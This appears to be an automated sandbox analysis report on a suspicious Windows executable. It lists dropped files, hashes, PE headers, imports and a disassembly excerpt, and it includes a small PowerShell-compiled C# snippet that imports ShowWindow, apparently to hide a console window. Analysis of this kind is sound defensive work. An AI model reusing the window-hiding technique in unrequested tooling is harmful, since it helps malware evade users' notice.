Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.0.cs"

C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.924440785969215
Encrypted:	false
SSDEEP:	24:etGSFT95GIYq/dudQ8ODxkjvtkZfBb9k8NoVWI+ycuZhNjJakSA+PNnq:6FiInudj2ijOJBb9kYl1uljJa3Aiq
MD5:	D58814AD304A764F6BAF5C76D7400BCB
SHA1:	34C5B32A8CE64392D6954E662BEFB58C3BF5D5E2
SHA-256:	D87259B53A683A262898377303B6A9B7F2F2273166169A9593F4B8F134C1C7E3
SHA-512:	A564C46DACB4D2A8D26C73345D11416292867FCAC87EA6E32B43DB952FA28547DDACEEF72FCFACDA9744630CCB15E6E41EC957E5D03E8D250B46FEE5789A342D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....bvg...........!.................#... ...@....... ....................................@..................................#..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ..@.............................................................(....BSJB............v4.0.30319......l...<...#~......,...#Strings............#US.........#GUID.......T...#Blob...........G5........%3................................................................-.&...x.Y.....Y.................Y.................................... 4............ H.....P ......S...... ..................S...!.S. .).S...1.S.%...S............3.....!.....4.......H.........................

C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (460), with CRLF, CR line terminators
Category:	modified
Size (bytes):	881
Entropy (8bit):	5.321723106060627
Encrypted:	false
SSDEEP:	24:KwId3ka6KgE6EvEFKax5DqBVKVrdFAMBJTH:xkka67E6EvEFK2DcVKdBJj
MD5:	B2E2D2D8CF6D42E156B6B92301BF1859
SHA1:	8FC437FA30E6E6CFB86D808ACBDB794768D434E1
SHA-256:	1A6AC79367E7FC9B6D9215374CA82A0ED1562FDB4F69A5A5A52F64EF2000F72C
SHA-512:	0CD0F8AD61D04F75E9BEAE1BA5A569EEA69EE410182342743873BCE8B39B20D1B3A54A38293B4B49CB80B3027998B58181F59E9D770A96A5B0D62FF2D6BEFA92
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\3oofqhq2\CSC76E89C1DFE954A0B872EAE18016ED95.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1109530476704896
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryrFJak7YnqqQF+PN5Dlq5J:+RI+ycuZhNjJakSA+PNnqX
MD5:	63B1852AF630DD4ECCC03253B4917BDA
SHA1:	28BC6E738A096FF9DF9929A731D7E905E6ABFFA2
SHA-256:	133545043419ABAD0BFAF4AAA109D6A76733239EA20FD7E08708ECE1D8306D65
SHA-512:	C5F8A9AB680024F79A08A6B851ED39FD60726FE0B5428DC00C4F79D557E19471F0E338550AA7A43733BE3AF11ADC69AC339ECF042854D26DEDCD2CFDC8F95DB6
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...3.o.o.f.q.h.q.2...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...3.o.o.f.q.h.q.2...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	353
Entropy (8bit):	4.82408068685792
Encrypted:	false
SSDEEP:	6:gCsHS6yqVPuM/sq2SRaqK4LovyFwM/sezhkKwGButFi2SRkoSoOD9:gC4JTDfei7krW0FU9O9
MD5:	379570600F5439DDA873EDA8F0CE4A79
SHA1:	2023B772101AFF5B12AB53F24A69742A4B9C394F
SHA-256:	2C058658252D0F5A4613DC846D56329797E86033E3C61B9B68537AE167000072
SHA-512:	70AD464F11597E9677A757C59A79A27650487D0F59CBB35D88E9775236E2DBF3CB78413B10EAC3E9A33E2CBA7FB1FB85EF7755B1D25E1C7D9513615EA4DAF152
Malicious:	false
Preview:	. using System;.. using System.Runtime.InteropServices;.... public class Win32 {.. [DllImport("user32.dll")].. public static extern IntPtr GetForegroundWindow();.... [DllImport("user32.dll")].. [return: MarshalAs(UnmanagedType.Bool)].. public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);.. }

C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (374), with no line terminators
Category:	dropped
Size (bytes):	377
Entropy (8bit):	5.244177183801839
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2cNwi23fnGzxs7+AEszIcNwi23fnb:p37Lvkmb6KwZfGWZEJZfb
MD5:	B7CF3F81DB7DAE64FE212AF95ED4BF88
SHA1:	86561CCFB4A096AA30AB1E8C3C10E35BEEEE428A
SHA-256:	BAB52023282960149274FEB320A1BED4E1F257F6F7623721F0A4F15FD1CF7980
SHA-512:	A519B2E16931E1A0A266E1010790BC240D44A2D6DDAF8F0A17C8FAD629C6FEB068353C64C00C81BE271EF923D40BB6835576BEF90739F040EE3FE2DB3C3A3086
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.0.cs"

C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.924151119920644
Encrypted:	false
SSDEEP:	24:etGSF5GIYq/dudQ8OzXxkjvtkZfF9448NoVWI+ycuZhNxakSvPNnq:6mInudjwXijOJF944Yl1ulxa3tq
MD5:	C3751A48DBB467B8D806B81401C19968
SHA1:	556C65FA9A89080F17D12F6961F89457611768D3
SHA-256:	769872CD5808774C8223FB454AAB5A807C59AAA234B505CDA11E8737CECCC12A
SHA-512:	E639AC4B555A2104CEA193ACCEC6478B022799A84DF3A8A9555B60D2FA4836F6661EE5365F2CB776FEAAC2E873FF6C85A13590A64427534D70B297BFB5D7512C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....bvg...........!.................#... ...@....... ....................................@..................................#..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ..@.............................................................(....BSJB............v4.0.30319......l...<...#~......,...#Strings............#US.........#GUID.......T...#Blob...........G5........%3................................................................-.&...x.Y.....Y.................Y.................................... 4............ H.....P ......S...... ..................S...!.S. .).S...1.S.%...S............3.....!.....4.......H.........................

C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (460), with CRLF, CR line terminators
Category:	modified
Size (bytes):	881
Entropy (8bit):	5.305442483633995
Encrypted:	false
SSDEEP:	24:KwId3ka6KgfXEvfaKax5DqBVKVrdFAMBJTH:xkka67fXEvfaK2DcVKdBJj
MD5:	CFE53F6FCF81CA4A3ED3313DE951528B
SHA1:	E68FD5EDD66F2B7EBC3E15E89D971AE66CD2C017
SHA-256:	861305C95D18ABC46D2697F764F8DA74835E496B19D797ECAB69431F3CC12A91
SHA-512:	FF31BBC753C1F510099FCAB0A8121388C6B5568F9E33C2EEA256725A834FD5762537AAEBAAD6C6A2BE2E9205E92CF606C18EB82DDE250F180A31C84B0DA3821F
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\5fgy3psv\CSC49606E82A61741509EEE37EB8248328C.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.113934126293362
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry84ak7Ynqq9tPN5Dlq5J:+RI+ycuZhNxakSvPNnqX
MD5:	80876C04A5EDFB075330599A86F7BFA6
SHA1:	4D01EAE6CB872C42C6559FF46DAFCAACD730DFEE
SHA-256:	5DC6F2174FB9619BA8347B557D6ED730AD35166866C7BDF9FE0B2E49941EE93E
SHA-512:	56C91F14B24DEBE9C388B9C0935E45D043E07F8DCD20C8A8C88BBDA37455A6FD262AD52F09FB3F1574F44D07844DCFC3F4FFA6838715A926B583D6A51A6D8EFA
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...5.f.g.y.3.p.s.v...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...5.f.g.y.3.p.s.v...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\RES13F5.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x496, 9 symbols, created Thu Jan 2 09:55:38 2025, 1st section name ".debug$S"
Category:	modified
Size (bytes):	1340
Entropy (8bit):	4.0323046108284615
Encrypted:	false
SSDEEP:	24:HPTdK9olEVHFZHswKOZmNeI+ycuZhNjJakSA+PNnqSed:vtlE9FZTKOZmw1uljJa3AiqS+
MD5:	C64DBFB44B33BBE51FDEFB85353BC165
SHA1:	27FC0907341593EC4D60FD2901A31FACADF314A6
SHA-256:	9F7EB2F921B3154C68AD510D5A9173D785106404700F24CDA9D621B18D18F71E
SHA-512:	C00E5268E0EE78EBB5E91A7A02F999BB7085DE24F74AD3407442F84353319C4B3F09BBBF3862B31819916A077F10C8D07D81C4622DA8C1F6B543AAB3BCB97B2B
Malicious:	false
Preview:	L....bvg.............debug$S........X...................@..B.rsrc$01........X.......<...........@..@.rsrc$02........P...F...............@..@........W....c:\Users\user\AppData\Local\Temp\3oofqhq2\CSC76E89C1DFE954A0B872EAE18016ED95.TMP................c..*.0.N..2S..{...........7.......C:\Users\user~1\AppData\Local\Temp\RES13F5.tmp.-.<....................a..Microsoft (R) CVTRES.b.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe..............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...3.o.o.f.q.h.q.2...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....

C:\Users\user\AppData\Local\Temp\RESDB22.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x496, 9 symbols, created Thu Jan 2 09:55:24 2025, 1st section name ".debug$S"
Category:	modified
Size (bytes):	1340
Entropy (8bit):	4.032349695157133
Encrypted:	false
SSDEEP:	24:H3K9o0FYtZHxhwKOZmNeI+ycuZhNxakSvPNnqSed:n0FYtZRKKOZmw1ulxa3tqS+
MD5:	73E5FB6CF64276DF925EA23213E765F5
SHA1:	EC37B2570F5709D44C979FD48407EA342B4B0AB6
SHA-256:	A10B37FE80D34D715DA185B1DEC5FB60FEF313B6905D2F0224F584DE463CDF3C
SHA-512:	DBC681AD07E6918B983CF0E3BB5DB32C680128332A77DE1FB3FA8AC9E40F0AEEA960518838C934B70EA8A1ACABAC55DE54ABF830A21637DCD28D2E8E689BD2D4
Malicious:	false
Preview:	L....bvg.............debug$S........X...................@..B.rsrc$01........X.......<...........@..@.rsrc$02........P...F...............@..@........X....c:\Users\user\AppData\Local\Temp\5fgy3psv\CSC49606E82A61741509EEE37EB8248328C.TMP.................l.....S0Y...............7.......C:\Users\user~1\AppData\Local\Temp\RESDB22.tmp.-.<....................a..Microsoft (R) CVTRES.b.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe..............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...5.f.g.y.3.p.s.v...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nhbf4pgq.ect.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vpcket3x.ar2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wpxpmatl.40p.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zzprrhrp.1az.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	6.810579722471848
TrID:	Win64 Executable Console (202006/5) 87.25% Visual Basic Script (13500/0) 5.83% Win64 Executable (generic) (12005/4) 5.19% Generic Win/DOS Executable (2004/3) 0.87% DOS Executable Generic (2002/1) 0.86%
File name:	dGhlYXB0Z3JvdXA=-free.exe
File size:	34'433'319 bytes
MD5:	ede0a1c97eaa446541dcfccd6fa9a6a7
SHA1:	e578715a247461d460899af7302152c5daf4365e
SHA256:	5a94644716cf1ab8c197ecad93562924c3bfb36224b8c0b68e26a252f3e713d8
SHA512:	52ab94a2df444225f84664c8e6039a91efd04141ba0354f8e370144a69340be08406b0efd12943f9963524dfaf94a5d9acf4a835f156cacbf5e014f86e3d15cd
SSDEEP:	393216:173Y9M927d8MFbOvYHJKOVLuLLna3W8oLPnJ:173Y9MwJ8M08KOoLG3W8oLJ
TLSH:	49777C03BA8618A9D09DC474834B46639B213CDB1B39B9FF25D935252F7EAF05B3A314
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Y5.h.T.;.T.;.T.;.?.:;T.;.?.:.T.;.?.:.T.;...;.T.;.%.:,T.;.%.:.T.;.%.:.T.;.?.:.T.;.T.;.T.;.&.:.T.;.T.;.V.;.&.:.T.;.&&;.T.;.&.:.T.

File Icon


Icon Hash:	13696df8f8f8924c

Static PE Info

General

Entrypoint:	0x14152fd70
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5FEC9DFF [Wed Dec 30 15:34:23 2020 UTC]
TLS Callbacks:	0x4085d620, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	f89058cc20f309b3f79572b824dcfee6

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F2028DAF178h
dec eax
add esp, 28h
jmp 00007F2028DAE9D7h
int3
int3
dec eax
sub esp, 28h
dec ebp
mov eax, dword ptr [ecx+38h]
dec eax
mov ecx, edx
dec ecx
mov edx, ecx
call 00007F2028DAEB72h
mov eax, 00000001h
dec eax
add esp, 28h
ret
int3
int3
int3
inc eax
push ebx
inc ebp
mov ebx, dword ptr [eax]
dec eax
mov ebx, edx
inc ecx
and ebx, FFFFFFF8h
dec esp
mov ecx, ecx
inc ecx
test byte ptr [eax], 00000004h
dec esp
mov edx, ecx
je 00007F2028DAEB75h
inc ecx
mov eax, dword ptr [eax+08h]
dec ebp
arpl word ptr [eax+04h], dx
neg eax
dec esp
add edx, ecx
dec eax
arpl ax, cx
dec esp
and edx, ecx
dec ecx
arpl bx, ax
dec edx
mov edx, dword ptr [eax+edx]
dec eax
mov eax, dword ptr [ebx+10h]
mov ecx, dword ptr [eax+08h]
dec eax
mov eax, dword ptr [ebx+08h]
test byte ptr [ecx+eax+03h], 0000000Fh
je 00007F2028DAEB6Dh
movzx eax, byte ptr [ecx+eax+03h]
and eax, FFFFFFF0h
dec esp
add ecx, eax
dec esp
xor ecx, edx
dec ecx
mov ecx, ecx
pop ebx
jmp 00007F2028DAEB76h
int3
int3
int3
int3
int3
int3
int3
nop word ptr [eax+eax+00000000h]
dec eax
cmp ecx, dword ptr [00A3D2C1h]
jne 00007F2028DAEB75h
dec eax
rol ecx, 10h
test cx, FFFFh
jne 00007F2028DAEB65h
ret
dec eax
ror ecx, 10h
jmp 00007F2028DAF48Ch
int3
int3
int3
inc eax
push ebx
dec eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x1f59890	0x68	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1f598f8	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2060000	0x5084	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1f8c000	0xd2378	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2066000	0x1d308	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1d78fe8	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x1d79180	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1d79040	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1560000	0x758	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x155e6a0	0x155e800	5dd19ef7ee076e0d89cacb281bd94528	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1560000	0x9fb1e4	0x9fb200	cbad2020cf41a27fa6ee9ee4c10f33d8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1f5c000	0x2f9e0	0x11e00	51ecf0e0221c4fe5cc72d7c0d642f757	False	0.14178594842657344	data	2.77637946428186	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x1f8c000	0xd2378	0xd2400	711bc06da1d5afe0a08f5b20756b06ed	False	0.45217514491676575	data	6.880219414842573	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x205f000	0x94	0x200	cb7fee38457a4f11371c8882f560f7b2	False	0.212890625	data	1.7840059761324978	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x2060000	0x5084	0x5200	d1069b2a1391e8b52c913a236b75b64a	False	0.9297351371951219	data	7.815647380372444	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2066000	0x1d308	0x1d400	4495e6c3818044f31171e2aea60d7122	False	0.20582932692307693	data	5.4835830175533795	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x20601d8	0x2dd	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced	English	United States	1.015006821282401
RT_ICON	0x20604b8	0x54a	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced	English	United States	1.0081240768094535
RT_ICON	0x2060a08	0x7b6	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced	English	United States	1.0030395136778116
RT_ICON	0x20611c0	0xbce	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced	English	United States	0.9923891462607545
RT_ICON	0x2061d90	0xf62	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0027932960893855
RT_ICON	0x2062cf8	0x201a	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced	English	United States	1.0004867364322219
RT_GROUP_ICON	0x2064d18	0x5a	data	English	United States	0.8111111111111111
RT_VERSION	0x2064d78	0x30c	data	English	United States	0.46923076923076923

Imports

DLL	Import
WS2_32.dll	listen, WSAGetLastError, closesocket, WSASendTo, WSARecvFrom, WSAGetOverlappedResult, setsockopt, WSASend, getsockopt, WSAIoctl, WSASocketW, WSARecv, getaddrinfo, getpeername, shutdown, recv, ioctlsocket, getsockname, WSACleanup, WSAStartup, freeaddrinfo, bind
KERNEL32.dll	GetOEMCP, GetACP, IsValidCodePage, MultiByteToWideChar, GetStringTypeW, HeapSize, GetFileSizeEx, GetConsoleOutputCP, EnumSystemLocalesW, GetUserDefaultLCID, IsValidLocale, GetLocaleInfoW, LCMapStringW, CompareStringW, GetTimeFormatW, GetDateFormatW, GetCommandLineA, SwitchToThread, SetConsoleMode, LeaveCriticalSection, CloseHandle, SetConsoleCursorPosition, lstrlenW, WaitForSingleObject, GetLastError, GetExitCodeProcess, GetCurrentProcessId, GetCommandLineW, GetProcessHeap, HeapFree, AddVectoredExceptionHandler, HeapAlloc, HeapReAlloc, GetStdHandle, GetFileInformationByHandleEx, GetConsoleMode, EnterCriticalSection, Sleep, DeviceIoControl, CreateHardLinkW, ReadFile, TerminateProcess, FreeLibrary, RegisterWaitForSingleObject, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetProcessId, GetConsoleScreenBufferInfo, OpenProcess, SetCurrentDirectoryW, SetErrorMode, SetThreadErrorMode, 